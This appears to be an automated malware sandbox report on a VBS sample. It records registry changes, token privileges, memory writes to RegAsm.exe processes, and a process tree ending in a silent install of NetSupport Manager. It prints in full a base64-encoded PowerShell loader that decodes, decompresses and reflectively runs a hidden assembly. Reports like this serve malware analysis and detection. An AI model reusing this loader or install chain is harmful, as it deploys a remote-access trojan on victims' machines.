\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPublisher\CRLs cscript.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" client32.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs cscript.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\@%SystemRoot%\system32\powrprof.dll,-11 = "Power saver" client32.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root client32.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows Script Host\Settings cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPublisher\CTLs cscript.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" client32.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:" client32.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates cscript.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs cscript.exe -
Modifies registry class 64 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{106389BC-E301-4C17-AA3A-C3B31829EDD0}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{C58E5039-E78C-441D-AA62-383AD6F38FC8}\1.0\0\win32\ = "C:\\PROGRA~2\\NETSUP~1\\NETSUP~1\\ICOVIE~1.DLL" msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\NSReplayFile msiexec.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{81B6FD0E-25FF-4465-9918-2DFA7B9A4B46}\InprocServer32 MsiExec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\AVIFile\shell\show MSI7E27.tmp Key created \REGISTRY\MACHINE\SOFTWARE\Classes\movfile\shell\show\command MSI7E27.tmp Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{106389BC-E301-4C17-AA3A-C3B31829EDD0}\TypeLib\ = "{C58E5039-E78C-441D-AA62-383AD6F38FC8}" msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\.rpf msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\IcoViewer.IconViewer.1\ = "IconViewer Class" MsiExec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\IcoViewer.IconViewer\CurVer\ = "IcoViewer.IconViewer.1" MsiExec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{81B6FD0E-25FF-4465-9918-2DFA7B9A4B46}\Programmable MsiExec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\86386BBC7677FFC43B5E124188437620 msiexec.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{81B6FD0E-25FF-4465-9918-2DFA7B9A4B46}\InprocServer32\InprocServer32 = 41002700360050006a00530043005200680040004c005a007e004f0029004e00460060006a00210043006c00690065006e0074003e0027007300430050006200280031004a007b00380068007a004400660043004f006d0030006b00240000000000 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Nb32dfbfb\a = "M" MSI7E27.tmp Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\86386BBC7677FFC43B5E124188437620\CommonFiles = "NSM" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{81B6FD0E-25FF-4465-9918-2DFA7B9A4B46}\Programmable\ msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\TypeLib\{C58E5039-E78C-441D-AA62-383AD6F38FC8}\1.0\FLAGS msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{81B6FD0E-25FF-4465-9918-2DFA7B9A4B46}\ = "IconViewer Class" MsiExec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\86386BBC7677FFC43B5E124188437620\SourceList\Media\DiskPrompt = "[1]" msiexec.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\86386BBC7677FFC43B5E124188437620\Clients = 3a0000000000 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WMVFile\shell MSI7E27.tmp Key created \REGISTRY\MACHINE\Software\Classes\WOW6432Node\Interface\{106389BC-E301-4C17-AA3A-C3B31829EDD0}\TypeLib msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\movfile\shell\show\ = "&Show with NetSupport School" MSI7E27.tmp Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{106389BC-E301-4C17-AA3A-C3B31829EDD0}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" MsiExec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\86386BBC7677FFC43B5E124188437620\ProductName = "NetSupport Manager" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\86386BBC7677FFC43B5E124188437620\AuthorizedLUAApp = "1" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\IcoViewer.IconViewer.1\ = "IconViewer Class" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\AVIFile\shell\show\command MSI7E27.tmp Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{81B6FD0E-25FF-4465-9918-2DFA7B9A4B46}\MiscStatus MsiExec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{81B6FD0E-25FF-4465-9918-2DFA7B9A4B46}\TypeLib\ = "{C58E5039-E78C-441D-AA62-383AD6F38FC8}" MsiExec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{106389BC-E301-4C17-AA3A-C3B31829EDD0}\ = "IIconViewer" MsiExec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{71C5A887-11E0-4c5a-9B9B-D4A074555692}\InProcServer32\ThreadingModel = "Apartment" winst64.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.rpf\ = "NSReplayFile" msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\WOW6432Node\CLSID\{81B6FD0E-25FF-4465-9918-2DFA7B9A4B46}\Programmable msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{C58E5039-E78C-441D-AA62-383AD6F38FC8}\1.0 msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\NSReplayFile\Shell msiexec.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{81B6FD0E-25FF-4465-9918-2DFA7B9A4B46}\VERSIONINDEPENDENTPROGID MsiExec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\86386BBC7677FFC43B5E124188437620 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\86386BBC7677FFC43B5E124188437620\SourceList\Net msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mpegfile\shell\show MSI7E27.tmp Key created \REGISTRY\MACHINE\Software\Classes\WOW6432Node\CLSID\{81B6FD0E-25FF-4465-9918-2DFA7B9A4B46}\MiscStatus\1 msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\NSReplayFile\BrowserFlags = "8" msiexec.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{81B6FD0E-25FF-4465-9918-2DFA7B9A4B46}\ToolboxBitmap32 MsiExec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{81B6FD0E-25FF-4465-9918-2DFA7B9A4B46}\Insertable MsiExec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mpegfile\shell\show\command MSI7E27.tmp Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\NSReplayFile\EditFlags = "0" msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\WOW6432Node\Interface\{106389BC-E301-4C17-AA3A-C3B31829EDD0}\ProxyStubClsid32 msiexec.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{81B6FD0E-25FF-4465-9918-2DFA7B9A4B46}\MiscStatus\1 MsiExec.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{81B6FD0E-25FF-4465-9918-2DFA7B9A4B46}\Version MsiExec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{106389BC-E301-4C17-AA3A-C3B31829EDD0}\TypeLib\Version = "1.0" MsiExec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\IcoViewer.IconViewer.1\CLSID msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\IcoViewer.IconViewer.1 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{81B6FD0E-25FF-4465-9918-2DFA7B9A4B46}\InprocServer32 MsiExec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\86386BBC7677FFC43B5E124188437620\Client = "NSM" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WMVFile\shell\show\ = "&Show with NetSupport School" MSI7E27.tmp Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WMVFile\shell\show\command MSI7E27.tmp Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\mpegfile\shell\show\command\ = "\"C:\\Program Files (x86)\\NetSupport\\NetSupport Manager\\pcinssui.exe\" /ShowVideo \"%L\"" MSI7E27.tmp Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{81B6FD0E-25FF-4465-9918-2DFA7B9A4B46}\TypeLib MsiExec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\IcoViewer.IconViewer msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mpegfile\shell MSI7E27.tmp Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{71C5A887-11E0-4c5a-9B9B-D4A074555692}\InProcServer32\ = "Client32Provider.dll" winst64.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\NSReplayFile\Shell\Play\Command\ = "\"C:\\Program Files (x86)\\NetSupport\\NetSupport Manager\\client32.exe\" /r\"%1\"" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\IcoViewer.IconViewer.1\CLSID\ = "{81B6FD0E-25FF-4465-9918-2DFA7B9A4B46}" MsiExec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\IcoViewer.IconViewer\CLSID\ = "{81B6FD0E-25FF-4465-9918-2DFA7B9A4B46}" MsiExec.exe -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 4672 client32.exe -
Suspicious behavior: EnumeratesProcesses 44 IoCs
pid Process 3128 Pyyidau.vbs.exe 3128 Pyyidau.vbs.exe 3128 Pyyidau.vbs.exe 3128 Pyyidau.vbs.exe 3128 Pyyidau.vbs.exe 3128 Pyyidau.vbs.exe 3128 Pyyidau.vbs.exe 3128 Pyyidau.vbs.exe 3128 Pyyidau.vbs.exe 3128 Pyyidau.vbs.exe 3128 Pyyidau.vbs.exe 3128 Pyyidau.vbs.exe 3128 Pyyidau.vbs.exe 3128 Pyyidau.vbs.exe 3128 Pyyidau.vbs.exe 3128 Pyyidau.vbs.exe 3128 Pyyidau.vbs.exe 3128 Pyyidau.vbs.exe 3128 Pyyidau.vbs.exe 3128 Pyyidau.vbs.exe 3128 Pyyidau.vbs.exe 3128 Pyyidau.vbs.exe 3128 Pyyidau.vbs.exe 3128 Pyyidau.vbs.exe 3128 Pyyidau.vbs.exe 3128 Pyyidau.vbs.exe 3128 Pyyidau.vbs.exe 3128 Pyyidau.vbs.exe 3128 Pyyidau.vbs.exe 3128 Pyyidau.vbs.exe 3128 Pyyidau.vbs.exe 3128 Pyyidau.vbs.exe 424 msiexec.exe 424 msiexec.exe 2456 MSI7E27.tmp 2456 MSI7E27.tmp 2456 MSI7E27.tmp 2456 MSI7E27.tmp 1592 client32.exe 1592 client32.exe 4672 client32.exe 4672 client32.exe 4672 client32.exe 4672 client32.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 3128 Pyyidau.vbs.exe Token: SeDebugPrivilege 3128 Pyyidau.vbs.exe Token: SeShutdownPrivilege 908 msiexec.exe Token: SeIncreaseQuotaPrivilege 908 msiexec.exe Token: SeSecurityPrivilege 424 msiexec.exe Token: SeCreateTokenPrivilege 908 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 908 msiexec.exe Token: SeLockMemoryPrivilege 908 msiexec.exe Token: SeIncreaseQuotaPrivilege 908 msiexec.exe Token: SeMachineAccountPrivilege 908 msiexec.exe Token: SeTcbPrivilege 908 msiexec.exe Token: SeSecurityPrivilege 908 msiexec.exe Token: SeTakeOwnershipPrivilege 908 msiexec.exe Token: SeLoadDriverPrivilege 908 msiexec.exe Token: SeSystemProfilePrivilege 908 msiexec.exe Token: SeSystemtimePrivilege 908 msiexec.exe Token: SeProfSingleProcessPrivilege 908 msiexec.exe Token: SeIncBasePriorityPrivilege 908 msiexec.exe Token: SeCreatePagefilePrivilege 908 msiexec.exe Token: SeCreatePermanentPrivilege 908 msiexec.exe Token: SeBackupPrivilege 908 msiexec.exe Token: SeRestorePrivilege 908 msiexec.exe Token: SeShutdownPrivilege 908 msiexec.exe Token: SeDebugPrivilege 908 msiexec.exe Token: SeAuditPrivilege 908 msiexec.exe Token: SeSystemEnvironmentPrivilege 908 msiexec.exe Token: SeChangeNotifyPrivilege 908 msiexec.exe Token: SeRemoteShutdownPrivilege 908 msiexec.exe Token: SeUndockPrivilege 908 msiexec.exe Token: SeSyncAgentPrivilege 908 msiexec.exe Token: SeEnableDelegationPrivilege 908 msiexec.exe Token: SeManageVolumePrivilege 908 msiexec.exe Token: SeImpersonatePrivilege 908 msiexec.exe Token: SeCreateGlobalPrivilege 908 msiexec.exe Token: SeRestorePrivilege 424 msiexec.exe Token: SeTakeOwnershipPrivilege 424 msiexec.exe Token: SeRestorePrivilege 424 msiexec.exe Token: SeTakeOwnershipPrivilege 424 msiexec.exe Token: SeRestorePrivilege 424 msiexec.exe Token: SeTakeOwnershipPrivilege 424 msiexec.exe Token: SeRestorePrivilege 424 msiexec.exe Token: SeTakeOwnershipPrivilege 424 msiexec.exe Token: SeRestorePrivilege 424 msiexec.exe Token: SeTakeOwnershipPrivilege 424 msiexec.exe Token: SeRestorePrivilege 424 msiexec.exe Token: SeTakeOwnershipPrivilege 424 msiexec.exe Token: SeRestorePrivilege 424 msiexec.exe Token: SeTakeOwnershipPrivilege 424 msiexec.exe Token: SeRestorePrivilege 424 msiexec.exe Token: SeTakeOwnershipPrivilege 424 msiexec.exe Token: SeRestorePrivilege 424 msiexec.exe Token: SeTakeOwnershipPrivilege 424 msiexec.exe Token: SeRestorePrivilege 424 msiexec.exe Token: SeTakeOwnershipPrivilege 424 msiexec.exe Token: SeRestorePrivilege 424 msiexec.exe Token: SeTakeOwnershipPrivilege 424 msiexec.exe Token: SeRestorePrivilege 424 msiexec.exe Token: SeTakeOwnershipPrivilege 424 msiexec.exe Token: SeRestorePrivilege 424 msiexec.exe Token: SeTakeOwnershipPrivilege 424 msiexec.exe Token: SeRestorePrivilege 424 msiexec.exe Token: SeTakeOwnershipPrivilege 424 msiexec.exe Token: SeRestorePrivilege 424 msiexec.exe Token: SeTakeOwnershipPrivilege 424 msiexec.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 4672 client32.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 4724 wrote to memory of 3128 4724 WScript.exe 86 PID 4724 wrote to memory of 3128 4724 WScript.exe 86 PID 4724 wrote to memory of 3128 4724 WScript.exe 86 PID 3128 wrote to memory of 4000 3128 Pyyidau.vbs.exe 98 PID 3128 wrote to memory of 4000 3128 Pyyidau.vbs.exe 98 PID 3128 wrote to memory of 4000 3128 Pyyidau.vbs.exe 98 PID 3128 wrote to memory of 2448 3128 Pyyidau.vbs.exe 99 PID 3128 wrote to memory of 2448 3128 Pyyidau.vbs.exe 99 PID 3128 wrote to memory of 2448 3128 Pyyidau.vbs.exe 99 PID 3128 wrote to memory of 2448 3128 Pyyidau.vbs.exe 99 PID 3128 wrote to memory of 2448 3128 Pyyidau.vbs.exe 99 PID 3128 wrote to memory of 2448 3128 Pyyidau.vbs.exe 99 PID 3128 wrote to memory of 2448 3128 Pyyidau.vbs.exe 99 PID 3128 wrote to memory of 3544 3128 Pyyidau.vbs.exe 100 PID 3128 wrote to memory of 3544 3128 Pyyidau.vbs.exe 100 PID 3128 wrote to memory of 3544 3128 Pyyidau.vbs.exe 100 PID 3128 wrote to memory of 3544 3128 Pyyidau.vbs.exe 100 PID 3128 wrote to memory of 3544 3128 Pyyidau.vbs.exe 100 PID 3128 wrote to memory of 3544 3128 Pyyidau.vbs.exe 100 PID 3128 wrote to memory of 3544 3128 Pyyidau.vbs.exe 100 PID 3128 wrote to memory of 3536 3128 Pyyidau.vbs.exe 102 PID 3128 wrote to memory of 3536 3128 Pyyidau.vbs.exe 102 PID 3128 wrote to memory of 3536 3128 Pyyidau.vbs.exe 102 PID 3128 wrote to memory of 3536 3128 Pyyidau.vbs.exe 102 PID 3128 wrote to memory of 3536 3128 Pyyidau.vbs.exe 102 PID 3128 wrote to memory of 3536 3128 Pyyidau.vbs.exe 102 PID 3128 wrote to memory of 3536 3128 Pyyidau.vbs.exe 102 PID 3128 wrote to memory of 1220 3128 Pyyidau.vbs.exe 103 PID 3128 wrote to memory of 1220 3128 Pyyidau.vbs.exe 103 PID 3128 wrote to memory of 1220 3128 Pyyidau.vbs.exe 103 PID 3128 wrote to memory of 1220 3128 Pyyidau.vbs.exe 103 PID 3128 wrote to memory of 1220 3128 Pyyidau.vbs.exe 103 PID 3128 wrote to memory of 1220 3128 Pyyidau.vbs.exe 103 PID 3128 wrote to memory of 1220 3128 Pyyidau.vbs.exe 103 PID 3128 wrote to memory of 2740 3128 Pyyidau.vbs.exe 104 PID 3128 wrote to memory of 2740 3128 Pyyidau.vbs.exe 104 PID 3128 wrote to memory of 2740 3128 Pyyidau.vbs.exe 104 PID 3128 wrote to memory of 2740 3128 Pyyidau.vbs.exe 104 PID 3128 wrote to memory of 2740 3128 Pyyidau.vbs.exe 104 PID 3128 wrote to memory of 2740 3128 Pyyidau.vbs.exe 104 PID 3128 wrote to memory of 2740 3128 Pyyidau.vbs.exe 104 PID 3128 wrote to memory of 924 3128 Pyyidau.vbs.exe 105 PID 3128 wrote to memory of 924 3128 Pyyidau.vbs.exe 105 PID 3128 wrote to memory of 924 3128 Pyyidau.vbs.exe 105 PID 3128 wrote to memory of 924 3128 Pyyidau.vbs.exe 105 PID 3128 wrote to memory of 924 3128 Pyyidau.vbs.exe 105 PID 3128 wrote to memory of 924 3128 Pyyidau.vbs.exe 105 PID 3128 wrote to memory of 924 3128 Pyyidau.vbs.exe 105 PID 3128 wrote to memory of 3532 3128 Pyyidau.vbs.exe 106 PID 3128 wrote to memory of 3532 3128 Pyyidau.vbs.exe 106 PID 3128 wrote to memory of 3532 3128 Pyyidau.vbs.exe 106 PID 3128 wrote to memory of 3532 3128 Pyyidau.vbs.exe 106 PID 3128 wrote to memory of 3532 3128 Pyyidau.vbs.exe 106 PID 3128 wrote to memory of 3532 3128 Pyyidau.vbs.exe 106 PID 3128 wrote to memory of 3532 3128 Pyyidau.vbs.exe 106 PID 3128 wrote to memory of 68 3128 Pyyidau.vbs.exe 107 PID 3128 wrote to memory of 68 3128 Pyyidau.vbs.exe 107 PID 3128 wrote to memory of 68 3128 Pyyidau.vbs.exe 107 PID 3128 wrote to memory of 68 3128 Pyyidau.vbs.exe 107 PID 3128 wrote to memory of 68 3128 Pyyidau.vbs.exe 107 PID 3128 wrote to memory of 68 3128 Pyyidau.vbs.exe 107 PID 3128 wrote to memory of 68 3128 Pyyidau.vbs.exe 107 PID 3128 wrote to memory of 4712 3128 Pyyidau.vbs.exe 108 PID 3128 wrote to memory of 4712 3128 Pyyidau.vbs.exe 108 -
Views/modifies file attributes 1 TTPs 1 IoCs
pid Process 1816 attrib.exe
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3500
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Pyyidau.vbs"2⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4724 -
C:\Users\Admin\AppData\Local\Temp\Pyyidau.vbs.exe"C:\Users\Admin\AppData\Local\Temp\Pyyidau.vbs.exe" -enc JABBAHEAdwB3AHMAYwAgAD0AIABbAFMAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgBHAGUAdABDAHUAcgByAGUAbgB0AFAAcgBvAGMAZQBzAHMAKAApAC4ATQBhAGkAbgBNAG8AZAB1AGwAZQAuAEYAaQBsAGUATgBhAG0AZQAuAFIAZQBwAGwAYQBjAGUAKAAnAC4AZQB4AGUAJwAsACcAJwApADsAJABHAHkAaQBlAHAAZwBrAHcAdgByACAAPQAgAGcAZQB0AC0AYwBvAG4AdABlAG4AdAAgACQAQQBxAHcAdwBzAGMAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ATABhAHMAdAAgADEAOwAgACQAWABzAGwAbQB3AG0AbwBxAGcAawB6ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAEcAeQBpAGUAcABnAGsAdwB2AHIALgBSAGUAcABsAGEAYwBlACgAJwBSAEUATQAgACcALAAgACcAJwApAC4AUgBlAHAAbABhAGMAZQAoACcAQAAnACwAIAAnAEEAJwApACkAOwAkAEkAdwBxAGIAdwBjACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgAIAAsACAAJABYAHMAbABtAHcAbQBvAHEAZwBrAHoAIAApADsAJABFAG0AYgBtAGUAcwBqAHMAbAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQA7ACQAUgB3AHAAdQB4AHcAYQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBHAHoAaQBwAFMAdAByAGUAYQBtACAAJABJAHcAcQBiAHcAYwAsACAAKABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQA7ACQAUgB3AHAAdQB4AHcAYQAuAEMAbwBwAHkAVABvACgAIAAkAEUAbQBiAG0AZQBzAGoAcwBsACAAKQA7ACQAUgB3AHAAdQB4AHcAYQAuAEMAbABvAHMAZQAoACkAOwAkAEkAdwBxAGIAdwBjAC4AQwBsAG8AcwBlACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAgACQAWABzAGwAbQB3AG0AbwBxAGcAawB6ACAAPQAgACQARQBtAGIAbQBlAHMAagBzAGwALgBUAG8AQQByAHIAYQB5ACgAKQA7AFsAQQByAHIAYQB5AF0AOgA6AFIAZQB2AGUAcgBzAGUAKAAkAFgAcwBsAG0AdwBtAG8AcQBnAGsAegApADsAIAAkAE4AZgBrAGYAZwB0AHQAcgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABoAHIAZQBhAGQAaQBuAGcALgBUAGgAcgBlAGEAZABdADoAOgBHAGUAdABEAG8AbQBhAGkAbgAoACkALgBMAG8AYQBkACgAJABYAHMAbABtAHcAbQBvAHEAZwBrAHoAKQA7ACAAJABBAHYAZgBuAHgAdQBrAG4AcgBtAG0AIAA9ACAAJABOAGYAawBmAGcAdAB0AHIALgBFAG4AdAByAHkAUABvAGkAbgB0ADsAIABbAFMAeQBzAHQAZQBtAC4ARABlAGwAZQBnAGEAdABlAF0AOgA6AEMAcgBlAGEAdABlAEQAZQBsAGUAZwBhAHQAZQAoAFsAQQBjAHQAaQBvAG4AXQAsACAAJABBAHYAZgBuAHgAdQBrAG4AcgBtAG0ALgBEAGUAYwBsAGEAcgBpAG4AZwBUAHkAcABlACwAIAAkAEEAdgBmAG4AeAB1AGsAbgByAG0AbQAuAE4AYQBtAGUAKQAuAEQAeQBuAGEAbQBpAGMASQBuAHYAbwBrAGUAKAApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA=3⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3128 -
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\50d669f573135aafd57c..vbs"4⤵
- Blocklisted process makes network request
- Checks computer location settings
- System Location Discovery: System Language Discovery
PID:4000 -
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\vrep.msi" /quiet5⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:908
-
-
-
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"2⤵PID:2448
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"2⤵PID:3544
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"2⤵PID:3536
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"2⤵PID:1220
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"2⤵PID:2740
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"2⤵PID:924
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"2⤵PID:3532
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"2⤵PID:68
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"2⤵PID:4712
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"2⤵PID:3436
-
-
C:\Windows\system32\cmd.execmd /c copy "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "C:\Users\Admin\AppData\Local\Temp\Pyyidau.vbs.exe" /Y1⤵
- Process spawned unexpected child process
PID:2044
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Blocklisted process makes network request
- Enumerates connected drives
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:424 -
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding DE3CF1DBF434BA69900E8455DF6F038B2⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:3336
-
-
